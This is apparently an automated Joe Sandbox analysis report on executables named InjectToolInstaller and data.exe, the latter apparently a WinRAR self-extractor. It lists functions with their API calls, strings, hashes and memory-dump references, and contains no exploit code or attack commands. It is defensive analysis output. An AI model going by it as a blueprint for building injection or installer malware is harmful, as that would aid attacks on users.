Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3
String ID: Unknown error$Unknown warning
API String ID: 431132790-4291957651
Opcode ID: d00e7fb751a72f4f15d4a0202305fcded2f2d7eb40db2fe2d1528c53e297a9d5
Instruction ID: 60651c2271f78b4935bc074b0698bdc9b240aca6ea7debc2e649cf226083da80
Opcode Fuzzy Hash: d00e7fb751a72f4f15d4a0202305fcded2f2d7eb40db2fe2d1528c53e297a9d5
Instruction Fuzzy Hash: 8F713F7090070A9FDB24DF68C484BEEB7F4BF18304F00892ED65AD7680EB74A649CB50

Uniqueness

Uniqueness Score: -1.00%

Function 013A73DA Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013A73E1

Strings

=, xrefs: 013A746A
", xrefs: 013A748D

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3
String ID: "$=
API String ID: 431132790-1829299755
Opcode ID: 4ecc01127c46f18be4165f6c46385eb9b2b0354ede07c32593115c46b34f3e04
Instruction ID: dd59849592ceb5d6f08c55452b9a54ed586e416ee392aed211e0b0f1d931d493
Opcode Fuzzy Hash: 4ecc01127c46f18be4165f6c46385eb9b2b0354ede07c32593115c46b34f3e04
Instruction Fuzzy Hash: 5451AD3190014AEADF25EBACCCC4AEDBB79FF2530CF944055E59177192E7366A0ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 013EC5F5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,013EC896,?,00000050,?,?,?,?,?), ref: 013EC6D0

Strings

OCP, xrefs: 013EC649
ACP, xrefs: 013EC613

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: 85ad6bbdcd6641bf059c93e2ac682745d3ab4c2a3d676c4aa24ef30cff2c7745
Instruction ID: f34899b26b7cb299f9b07e68c5738bf59db56c03456720b0170d32c34597788a
Opcode Fuzzy Hash: 85ad6bbdcd6641bf059c93e2ac682745d3ab4c2a3d676c4aa24ef30cff2c7745
Instruction Fuzzy Hash: 6D21F962B00325A7E7319E1C890DBAF76DAAB54A7CF4E7820DA05D71C1E731F900CB50

Uniqueness

Uniqueness Score: -1.00%

Function 013BCE63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 013BCE91
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 013BCEB9

Strings

h, xrefs: 013BCE82

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Window$MoveRect
String ID: h
API String ID: 1112180989-2439710439
Opcode ID: c41fe96ced7c93f64f42f5d35a168f6292d2d327071f70225ffb21054048fe7f
Instruction ID: 61dc2aded7af1631cd3fa74c71dfeaff1fadfcaca67ac14226a7d81c497c751b
Opcode Fuzzy Hash: c41fe96ced7c93f64f42f5d35a168f6292d2d327071f70225ffb21054048fe7f
Instruction Fuzzy Hash: 2C212772A00109AFDB10DFA8DD85EEEBBB9EF4C314F151129EA01A7550DB31AD91CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 013E6B48 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

_abort.LIBCMT ref: 013E6B99

Strings

SystemFunction036, xrefs: 013E6B59, 013E6B63
SetThreadStackGuarantee, xrefs: 013E6BB0, 013E6BBA

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _abort
String ID: SetThreadStackGuarantee$SystemFunction036
API String ID: 1888311480-2910880125
Opcode ID: 840bb00e30e0c0eaca416a24c0e56c4df7350126765641a702b7dc021dc8b6fe
Instruction ID: 102e6e2b52940d492245921ed21501a3942b1413d45f3f90e3dd132021ec6514
Opcode Fuzzy Hash: 840bb00e30e0c0eaca416a24c0e56c4df7350126765641a702b7dc021dc8b6fe
Instruction Fuzzy Hash: 5F110271B0122CA7CB15BB2AAC0ADAEBF99DB64720F10056BFE0957290DEB14E1083C4

Uniqueness

Uniqueness Score: -1.00%

Function 013D1B9B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(msvcrt.dll), ref: 013D1BBA
GetProcAddress.KERNEL32(00000000,000001BF), ref: 013D1BD6

Strings

msvcrt.dll, xrefs: 013D1BB5

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: msvcrt.dll
API String ID: 1646373207-370904613
Opcode ID: 7f712067d8e79200888d0f573be52724967ff8bdf9b0524c86a8d0bd3c7e40b5
Instruction ID: 50b7dd0264a325507c126d744f0bc48d35ede83928d7a5d144ed7e5bbc23648a
Opcode Fuzzy Hash: 7f712067d8e79200888d0f573be52724967ff8bdf9b0524c86a8d0bd3c7e40b5
Instruction Fuzzy Hash: 38F0AF767182159FCB269B38B80452A3BDEEB44354711006DF906CB268EF31C900C795

Uniqueness

Uniqueness Score: -1.00%

Function 013CD069 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 013CD09A
DName::DName.LIBVCRUNTIME ref: 013CD0A6

Strings

{flat}, xrefs: 013CD090

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: NameName::
String ID: {flat}
API String ID: 1333004437-2606204563
Opcode ID: 7186188b1a4a22c1f1dbf7ee085124976fe31ae1f369e0b67e66fee380d2cd9b
Instruction ID: bec21a4870a7e54c1200b277615d970f013e4d643e992eeb7fb14272a45e35b5
Opcode Fuzzy Hash: 7186188b1a4a22c1f1dbf7ee085124976fe31ae1f369e0b67e66fee380d2cd9b
Instruction Fuzzy Hash: 1BF039761006089FEB11DBACD555BE93FE49B01B99F04C059EA4C0F692C6B5D9848BC5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: data.exePID: 3944, Parent PID: 3532COMMON

Execution Graph

Execution Coverage:	14%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.7%
Total number of Nodes:	1835
Total number of Limit Nodes:	28

Executed Functions

Function 000000013F2A5008 Relevance: 154.4, APIs: 22, Strings: 66, Instructions: 364
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000000013F2A5050
GetProcAddress.KERNEL32 ref: 000000013F2A5068
GetProcAddress.KERNEL32 ref: 000000013F2A5095
GetModuleFileNameW.KERNEL32 ref: 000000013F2A53CD
CreateFileW.KERNEL32 ref: 000000013F2A53F8
SetFilePointer.KERNEL32 ref: 000000013F2A5416
ReadFile.KERNEL32 ref: 000000013F2A543A
CloseHandle.KERNEL32 ref: 000000013F2A54A0
CompareStringW.KERNELBASE ref: 000000013F2A5515
GetFileAttributesW.KERNELBASE ref: 000000013F2A553F
GetFileAttributesW.KERNEL32 ref: 000000013F2A558C
GetModuleFileNameW.KERNEL32 ref: 000000013F2A54B2

Part of subcall function 000000013F2A4F90: GetSystemDirectoryW.KERNEL32 ref: 000000013F2A4FBE

Part of subcall function 000000013F29EB40: GetVersionExW.KERNEL32 ref: 000000013F29EB71

swprintf.LEGACY_STDIO_DEFINITIONS ref: 000000013F2A5614
ExitProcess.KERNEL32 ref: 000000013F2A56D4

Part of subcall function 000000013F2A4F90: LoadLibraryExW.KERNELBASE ref: 000000013F2A4FE9

swprintf.LEGACY_STDIO_DEFINITIONS ref: 000000013F2A566D
AllocConsole.KERNEL32 ref: 000000013F2A5672
GetCurrentProcessId.KERNEL32 ref: 000000013F2A567C
AttachConsole.KERNEL32 ref: 000000013F2A5684
GetStdHandle.KERNEL32 ref: 000000013F2A569E
WriteConsoleW.KERNEL32 ref: 000000013F2A56BB
Sleep.KERNEL32 ref: 000000013F2A56C6
FreeConsole.KERNEL32 ref: 000000013F2A56CC

Strings

SetDefaultDllDirectories, xrefs: 000000013F2A508B
userenv.dll, xrefs: 000000013F2A5195
samcli.dll, xrefs: 000000013F2A52DA
dsrole.dll, xrefs: 000000013F2A5390
DXGIDebug.dll, xrefs: 000000013F2A50BF, 000000013F2A5496, 000000013F2A554A
WINNSI.DLL, xrefs: 000000013F2A5277
ieframe.dll, xrefs: 000000013F2A515E
rsaenh.dll, xrefs: 000000013F2A50E3
mpr.dll, xrefs: 000000013F2A529F
cryptui.dll, xrefs: 000000013F2A51CC
atl.dll, xrefs: 000000013F2A5174
apphelp.dll, xrefs: 000000013F2A518A
dhcpcsvc.dll, xrefs: 000000013F2A533C
mlang.dll, xrefs: 000000013F2A52CC
slc.dll, xrefs: 000000013F2A5245
SetDllDirectoryW, xrefs: 000000013F2A505E
rasadhlp.dll, xrefs: 000000013F2A5320
browcli.dll, xrefs: 000000013F2A5312
XmlLite.dll, xrefs: 000000013F2A534A
ntshrui.dll, xrefs: 000000013F2A5169
iphlpapi.DLL, xrefs: 000000013F2A5269
netutils.dll, xrefs: 000000013F2A5291
ws2help.dll, xrefs: 000000013F2A5148
srvcli.dll, xrefs: 000000013F2A522F
WindowsCodecs.dll, xrefs: 000000013F2A5224
cabinet.dll, xrefs: 000000013F2A51F8
RpcRtRemote.dll, xrefs: 000000013F2A5374
comres.dll, xrefs: 000000013F2A5132
oleaccrc.dll, xrefs: 000000013F2A5203
dnsapi.DLL, xrefs: 000000013F2A525B
samlib.dll, xrefs: 000000013F2A52E8
clbcatq.dll, xrefs: 000000013F2A5127
version.dll, xrefs: 000000013F2A50B3
linkinfo.dll, xrefs: 000000013F2A5358
peerdist.dll, xrefs: 000000013F2A539E
cscapi.dll, xrefs: 000000013F2A523A
uxtheme.dll, xrefs: 000000013F2A55D4
ntmarta.dll, xrefs: 000000013F2A520E
wintrust.dll, xrefs: 000000013F2A51D7
setupapi.dll, xrefs: 000000013F2A517F
netapi32.dll, xrefs: 000000013F2A51A0
SSPICLI.DLL, xrefs: 000000013F2A50D7
cryptbase.dll, xrefs: 000000013F2A5106
usp10.dll, xrefs: 000000013F2A511C
propsys.dll, xrefs: 000000013F2A52BE
UXTheme.dll, xrefs: 000000013F2A50EF
devrtl.dll, xrefs: 000000013F2A52AD
cryptsp.dll, xrefs: 000000013F2A5366
sfc_os.dll, xrefs: 000000013F2A50C6
profapi.dll, xrefs: 000000013F2A5219
shdocvw.dll, xrefs: 000000013F2A51AB
dwmapi.dll, xrefs: 000000013F2A50FB, 000000013F2A55C8
lpk.dll, xrefs: 000000013F2A5111
psapi.dll, xrefs: 000000013F2A5153
aclui.dll, xrefs: 000000013F2A5382
dfscli.dll, xrefs: 000000013F2A5304
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 000000013F2A564E
crypt32.dll, xrefs: 000000013F2A51B6
msasn1.dll, xrefs: 000000013F2A51C1
dhcpcsvc6.dll, xrefs: 000000013F2A532E
wkscli.dll, xrefs: 000000013F2A52F6
imageres.dll, xrefs: 000000013F2A5250
secur32.dll, xrefs: 000000013F2A51ED
kernel32, xrefs: 000000013F2A5046
shell32.dll, xrefs: 000000013F2A51E2
ws2_32.dll, xrefs: 000000013F2A513D

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcessswprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemVersionWrite
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$RpcRtRemote.dll$SSPICLI.DLL$SetDefaultDllDirectories$SetDllDirectoryW$UXTheme.dll$WINNSI.DLL$WindowsCodecs.dll$XmlLite.dll$aclui.dll$apphelp.dll$atl.dll$browcli.dll$cabinet.dll$clbcatq.dll$comres.dll$crypt32.dll$cryptbase.dll$cryptsp.dll$cryptui.dll$cscapi.dll$devrtl.dll$dfscli.dll$dhcpcsvc.dll$dhcpcsvc6.dll$dnsapi.DLL$dsrole.dll$dwmapi.dll$ieframe.dll$imageres.dll$iphlpapi.DLL$kernel32$linkinfo.dll$lpk.dll$mlang.dll$mpr.dll$msasn1.dll$netapi32.dll$netutils.dll$ntmarta.dll$ntshrui.dll$oleaccrc.dll$peerdist.dll$profapi.dll$propsys.dll$psapi.dll$rasadhlp.dll$rsaenh.dll$samcli.dll$samlib.dll$secur32.dll$setupapi.dll$sfc_os.dll$shdocvw.dll$shell32.dll$slc.dll$srvcli.dll$userenv.dll$usp10.dll$uxtheme.dll$version.dll$wintrust.dll$wkscli.dll$ws2_32.dll$ws2help.dll
API String ID: 2569216850-2013832382
Opcode ID: ee51d7c6c1586de3ef8131dd833a56ca7182dc5df6162732dac6ef164de7adc5
Instruction ID: 38fdede35d4e15c77f44269bab1063324ba1c1a28e3885348381c53f7d2648dc
Opcode Fuzzy Hash: ee51d7c6c1586de3ef8131dd833a56ca7182dc5df6162732dac6ef164de7adc5
Instruction Fuzzy Hash: 6912A435A01F80D9EB219F61E8413DA73A9FB48758F90023ADA5D47BA5EF38C35AC740

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B23F0 Relevance: 96.9, APIs: 45, Strings: 10, Instructions: 685
windowfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000013F2913D0: GetDlgItem.USER32 ref: 000000013F291420
Part of subcall function 000000013F2913D0: SetWindowTextW.USER32 ref: 000000013F29143C

SetDlgItemTextW.USER32 ref: 000000013F2B251C
GetMessageW.USER32 ref: 000000013F2B2548
IsDialogMessageW.USER32 ref: 000000013F2B255D
TranslateMessage.USER32 ref: 000000013F2B256B
DispatchMessageW.USER32 ref: 000000013F2B2575
GetDlgItemTextW.USER32 ref: 000000013F2B2595
EndDialog.USER32 ref: 000000013F2B25C1
GetDlgItem.USER32 ref: 000000013F2B25EB
SendMessageW.USER32 ref: 000000013F2B260F
SendMessageW.USER32 ref: 000000013F2B2627

Part of subcall function 000000013F2B44A4: wcscpy.LIBCMT ref: 000000013F2B4520

Part of subcall function 000000013F2A2948: LoadStringW.USER32 ref: 000000013F2A29CF
Part of subcall function 000000013F2A2948: LoadStringW.USER32 ref: 000000013F2A29E8

SetFocus.USER32 ref: 000000013F2B2630
swprintf.LEGACY_STDIO_DEFINITIONS ref: 000000013F2B268A
GetLastError.KERNEL32 ref: 000000013F2B26F1
GetLastError.KERNEL32 ref: 000000013F2B2715
GetTickCount.KERNEL32 ref: 000000013F2B2733
swprintf.LEGACY_STDIO_DEFINITIONS ref: 000000013F2B274A
GetLastError.KERNEL32 ref: 000000013F2B2779
GetModuleFileNameW.KERNEL32 ref: 000000013F2B27C2
swprintf.LEGACY_STDIO_DEFINITIONS ref: 000000013F2B2807
CreateFileMappingW.KERNEL32 ref: 000000013F2B2878
GetCommandLineW.KERNEL32 ref: 000000013F2B2891
MapViewOfFile.KERNEL32 ref: 000000013F2B290D
Sleep.KERNEL32 ref: 000000013F2B297E
UnmapViewOfFile.KERNEL32 ref: 000000013F2B29A3
CloseHandle.KERNEL32 ref: 000000013F2B29AC
swprintf.LEGACY_STDIO_DEFINITIONS ref: 000000013F2B29E4
SetDlgItemTextW.USER32 ref: 000000013F2B2A5A
SetDlgItemTextW.USER32 ref: 000000013F2B2A7F
GetDlgItem.USER32 ref: 000000013F2B2A8D
GetWindowLongPtrW.USER32 ref: 000000013F2B2AA7
SetWindowLongPtrW.USER32 ref: 000000013F2B2ABB
SetDlgItemTextW.USER32 ref: 000000013F2B2B95
swprintf.LEGACY_STDIO_DEFINITIONS ref: 000000013F2B2C10
SendMessageW.USER32 ref: 000000013F2B2C66
SendDlgItemMessageW.USER32 ref: 000000013F2B2C8D
GetDlgItem.USER32 ref: 000000013F2B2C9B
SendMessageW.USER32 ref: 000000013F2B2CB5
GetDlgItem.USER32 ref: 000000013F2B2CD4
SetWindowTextW.USER32 ref: 000000013F2B2CFA
SetDlgItemTextW.USER32 ref: 000000013F2B2D7A
SetDlgItemTextW.USER32 ref: 000000013F2B2D92
DialogBoxParamW.USER32 ref: 000000013F2B2E55
EnableWindow.USER32 ref: 000000013F2B2F4C
SendMessageW.USER32 ref: 000000013F2B2F9E
SetDlgItemTextW.USER32 ref: 000000013F2B2FC7

Strings

STARTDLG, xrefs: 000000013F2B2438
__tmp_rar_sfx_access_check_%u, xrefs: 000000013F2B273C
LICENSEDLG, xrefs: 000000013F2B2E47
%s, xrefs: 000000013F2B2C06
"%s"%s, xrefs: 000000013F2B29D1
runas, xrefs: 000000013F2B2821
p, xrefs: 000000013F2B280C
winrarsfxmappingfile.tmp, xrefs: 000000013F2B2855
-el -s2 "-d%s" "-sp%s", xrefs: 000000013F2B27F4
@, xrefs: 000000013F2B2814

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Item$MessageText$Send$Windowswprintf$File$DialogErrorLast$LoadLongStringView$CloseCommandCountCreateDispatchEnableFocusHandleLineMappingModuleNameParamSleepTickTranslateUnmapwcscpy
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$p$runas$winrarsfxmappingfile.tmp
API String ID: 32477789-4012663800
Opcode ID: 82b3516d98a598787b2ac33ebd9be68be65155d102f37adcaf4f0faf36ddec1c
Instruction ID: 386733eb00f67b99b03e63606aa555116bf0c967837c06a6fd20674e4e3ac1b1
Opcode Fuzzy Hash: 82b3516d98a598787b2ac33ebd9be68be65155d102f37adcaf4f0faf36ddec1c
Instruction Fuzzy Hash: D6626B35E10B85C6FB259B61A8503EB27A5BB55B84F50413EDD4A07AEADE3CCB0BC341

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2A2550 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 250
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 000000013F2A25A8

Part of subcall function 000000013F2A6948: WideCharToMultiByte.KERNEL32 ref: 000000013F2A6979

SetDlgItemTextW.USER32 ref: 000000013F2A2617
GetWindowRect.USER32 ref: 000000013F2A2651
GetClientRect.USER32 ref: 000000013F2A265F
GetWindowLongPtrW.USER32 ref: 000000013F2A2710
GetWindowRect.USER32 ref: 000000013F2A2756
SetWindowTextW.USER32 ref: 000000013F2A2790
GetSystemMetrics.USER32 ref: 000000013F2A279B
GetWindow.USER32 ref: 000000013F2A27AC
GetWindowRect.USER32 ref: 000000013F2A27EA
GetWindow.USER32 ref: 000000013F2A28AC

Strings

$%s:, xrefs: 000000013F2A2593
CAPTION, xrefs: 000000013F2A2773

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWideswprintf
String ID: $%s:$CAPTION
API String ID: 2100155373-404845831
Opcode ID: 66fafb6747b2519cb4a08f55def08290f9512f8099f1da877605a45cd61ed12f
Instruction ID: a9fdb3c9e53bb9f503e5b68233fd50639548ec7728410c5718883f06f4f7e8d9
Opcode Fuzzy Hash: 66fafb6747b2519cb4a08f55def08290f9512f8099f1da877605a45cd61ed12f
Instruction Fuzzy Hash: E0910A32B14651CBEB14DF39E80079AA7A1F7C4784F445529EE4A57B98DF3CDA0ACB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2B0C0C Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 101
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32 ref: 000000013F2B0C25
SizeofResource.KERNEL32 ref: 000000013F2B0C41
LoadResource.KERNEL32 ref: 000000013F2B0C5B
LockResource.KERNEL32 ref: 000000013F2B0C6D
GlobalAlloc.KERNELBASE ref: 000000013F2B0C8E
GlobalLock.KERNEL32 ref: 000000013F2B0CA3
CreateStreamOnHGlobal.OLE32 ref: 000000013F2B0CD0
GdipAlloc.GDIPLUS ref: 000000013F2B0CE6
GdipCreateHBITMAPFromBitmap.GDIPLUS ref: 000000013F2B0D51
GlobalUnlock.KERNEL32 ref: 000000013F2B0D74
GlobalFree.KERNEL32 ref: 000000013F2B0D7D

Strings

PNG, xrefs: 000000013F2B0C17

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

Associated: 00000018.00000002.449009791.000000013F290000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2DD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F2E4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449024068.000000013F301000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449036686.000000013F303000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449041304.000000013F306000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000018.00000002.449045550.000000013F307000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_13f290000_data.jbxd

Similarity

API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
String ID: PNG
API String ID: 211097158-364855578
Opcode ID: 6b298fa5a1b118b59a46482d0601480174dd81c34f5ca8c079f7314dfa3cdfcd
Instruction ID: d34619cccbee2c59cd41423cc5af11b34a85cfab1627b5ba5005b1c4015963a0
Opcode Fuzzy Hash: 6b298fa5a1b118b59a46482d0601480174dd81c34f5ca8c079f7314dfa3cdfcd
Instruction Fuzzy Hash: D1412831A05B4AC2EF15DB96D4543AA63A0EB88F94F084539CE0D473B4EF78DA4AC750

Uniqueness

Uniqueness Score: -1.00%

Function 000000013F2A37E8 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 84
libraryencryptionloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 000000013F2A3846
GetProcAddress.KERNEL32 ref: 000000013F2A3861
CryptProtectMemory.CRYPT32 ref: 000000013F2A38AA
CryptUnprotectMemory.CRYPT32 ref: 000000013F2A38EB
GetCurrentProcessId.KERNEL32 ref: 000000013F2A38FE

Part of subcall function 000000013F2A4F90: GetSystemDirectoryW.KERNEL32 ref: 000000013F2A4FBE

Strings

CryptProtectMemory failed, xrefs: 000000013F2A38B4
CryptProtectMemory, xrefs: 000000013F2A383C
CryptUnprotectMemory, xrefs: 000000013F2A3853
Crypt32.dll, xrefs: 000000013F2A3824
CryptUnprotectMemory failed, xrefs: 000000013F2A38F5

Memory Dump Source

Source File: 00000018.00000002.449013673.000000013F291000.00000020.00000001.01000000.00000006.sdmp, Offset: 000000013F290000, based on PE: true

